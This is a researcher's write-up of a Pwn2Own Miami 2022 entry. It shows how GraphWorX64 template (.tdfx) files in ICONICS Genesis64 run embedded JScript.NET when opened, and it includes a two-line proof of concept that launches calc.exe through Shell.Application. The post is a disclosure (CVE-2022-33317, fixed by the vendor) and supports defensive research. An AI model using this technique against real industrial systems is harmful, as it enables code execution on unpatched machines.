Two Lines of JScript for $20,000 – Pwn2Own Miami 2022

author iconBy Ben McBride

Prologue

In 2022, Pwn2Own returned to Miami and was again targeting industrial control systems (ICS) software. I had participated in the inaugural Pwn2Own Miami in 2020 and was eager to participate again this year. My previous work included a nice vulnerability against the Iconics Genesis64 Control Server product. That vulnerability allowed a remote attacker to run arbitrary SQL commands using a custom WCF client. This year I was able to win $20,000 by running arbitrary JScript.NET code! This post will describe the process I took and the vulnerability I found.

There were a few changes in the rules for 2022 though. In 2020, a successful entry against the Iconics Genesis64 target had to be launched against the exposed network services. In the new 2022 rules, however, opening a file is now considered a valid attack scenario:

An attempt in this category must be launched against the target’s exposed network services from the contestant’s laptop within the contest network or by opening a file within the target on the contest laptop. The files that are eligible to be opened must be file types that are handled by default by the target application.

https://www.zerodayinitiative.com/Pwn2OwnMiami2022Rules.html

This sounded promising as this attack surface was not explored at the previous event and would likely have lots of issues!

Installing Iconics Genesis64

After downloading the installation ISO, you install Iconics Genesis64 by running the setup.exe program in the ICONICS_Suite directory.

The installer will ask you to restart multiple times and eventually all the dependencies will get installed and configuration begins. I used the default configuration in everything, but was also careful to make sure the demo programs were installed.

Installation was the most tedious aspect of this entire effort.

Exploring and exploiting the new attack surface

I started by searching the file system for examples of the filetypes that Iconics Genesis64 handles by default:

For example the “.awxx” file is a XML file and there are a number of example files in the “AlarmWorX64_Examples” folder included in the Iconics Genesis64 GenDemo package:

<?xml version="1.0" encoding="utf-8"?>
<AwxViewControl FileVersion="10.60.063.00" Width="Auto" Height="Auto" xmlns="clr-namespace:Ico.Awx;assembly=AwxViewControl" xmlns:iws="clr-namespace:Ico.WPF.Specialized;assembly=IcoWPFSpecialized" xmlns:av="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:iwc="clr-namespace:Ico.Windows.Controls;assembly=IcoWPF" xmlns:iad="clr-namespace:Ico.Awx.DataGrid;assembly=AwxViewControl" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:iwm="clr-namespace:Ico.Windows.Media;assembly=IcoWPF">
  <AwxViewControl.Items>
    <iwc:MultipleTabItem IsSelected="True" Header="Tab">
      <iad:AwxGridView>
        <iad:AwxGridView.SavedColumns>
          <iad:AwxColumn Key="AckRequiredBaseConditionType" Index="6" IsVisible="False" Text="AckRequired" />
          <iad:AwxColumn Key="ActiveTimeBaseConditionType" Text="Time / Date" Width="145" />
          <iad:AwxColumn Key="ConditionNameBaseConditionType" Index="7" IsVisible="False" Text="ConditionName" />
...

For each file found, I did a quick visual scan looking for interesting data and keywords. Initially, I’m just trying to get a high-level overview of what each file is used for. Ideally, I’d find something like a serialized object stored in a file that would be deserialized when the file is opened.

Some of the files are binary file formats. Some are compressed. Again, at this point in the process I’m just quickly scanning files for interesting strings and features, with no real expectations. However, when I scanned the “.gdfx” files the “ScriptCode” and “ScriptCodeManager” tags looked VERY interesting:

  <gwx:GwxDocument.GwxDocument>
    <gwx:GwxDocument FileVersion="10.85.141.00" ScanRate="500">
      <gwx:GwxDocument.ScriptCodeManager>
        <script:ScriptCodeManager>
          <script:ScriptCodeManager.Scripts>
            <script:ScriptCode Name="ThisDisplayCode" Type="JScriptNet">
              <x:XData><![CDATA[
function DebugDump(sender : System.Object, cmdArgs : Ico.Gwx.CommandExecutionEventArgs)
{
    var callback : Ico.Fwx.ClientWrapper.MethodCallDoneDelegate = ThisDocument.CreateDelegate(Ico.Fwx.ClientWrapper.MethodCallDoneDelegate, this, "CallDone");
        ThisWindow.FwxClientWrapper.MethodCallAsync(":", "DebugDump", new Object[0], callback, null);
}

function CallDone(result : Ico.Fwx.ClientWrapper.MethodCallDoneResult)
{
        message : String;
        message = String.Format("Result: {0}", result.Status.ToString());

        if ((result.OutputArguments != null)
        && (result.OutputArguments.Count > 0))
        {
                path = result.OutputArguments[0].ToString();
                message += String.Format("\n\nDump file: {0}", path);
        }

        MessageBox.Show(message, "Debug Dump Result", MessageBoxButton.OK);
}
]]></x:XData>
            </script:ScriptCode>
            <script:ScriptCode Name="JScriptDotNetGlobalVariablesCode" Type="JScriptNet" EditorBrowsable="Never">
              <x:XData><![CDATA[
var ThisWindow : Ico.Gwx.GwxRuntimeViewControl;
var ThisDocument : Ico.Gwx.GwxDocument;
var ThisConfiguration : Ico.Gwx.GwxConfiguration;
]]></x:XData>
            </script:ScriptCode>
          </script:ScriptCodeManager.Scripts>
        </script:ScriptCodeManager>
      </gwx:GwxDocument.ScriptCodeManager>
    </gwx:GwxDocument>
  </gwx:GwxDocument.GwxDocument>

This looks like JScript.NET code embedded in the file! This appears to be a feature for adding scripts to projects. However, when I try to open the file I get a “File Access Denied” message:

It appears an Iconics user needs to be logged in first before this file will open. I documented this behavior and made a note to check if the JScript code could be executed before the authentication check or if the authentication could be bypassed, but then continued my survey of default file types.

When I examined a GraphWorX64 Template file, “.tdfx”, I saw the same “ScriptCodeManager” tag and the file opened without requiring authentication:

Adding the following code into a “ScriptCode” tag in the template file causes calc to be executed when the file is opened!

var objShell = new ActiveXObject("Shell.Application");
objShell.ShellExecute("calc.exe", "", "calc.exe", "open", 0);

To Submit or Not Submit

Obviously, this is a pretty shallow bug and is a very weak bug to bring to Pwn2Own. There is a high likelihood that other researchers would find this bug and collide. I only had a couple hours of effort in at this point and had to make a decision to go with this bug or to immediately report this bug to ZDI and continue searching for better bugs. The decision was complicated further when the contest was delayed a few months because of the Omicron surge in Florida.

Ultimately, my laziness and the busyness of life prevailed. I decided to take my chances with this weak bug. In the end, despite being the fifth (of 7 total) researchers to target Iconics Genesis64, the bug did not collide with previous attempts and was successful!

Conclusion

In this post I presented a vulnerability in the ICONICS Genesis64 Control Server’s handling of TDFX files. I also showed the simple process to find “new” attack surface in the code. Unfortunately, identifying attack surface that has not seen significant scrutiny is oftentimes all that is necessary to find and exploit critical vulnerabilities.

ZDI assigned CVE-2022-33317 to this vulnerability and ICONICS fixed it in version 10.97.2. Thanks to the vendor for the timely fix and thanks to ZDI for organizing another great Pwn2Own!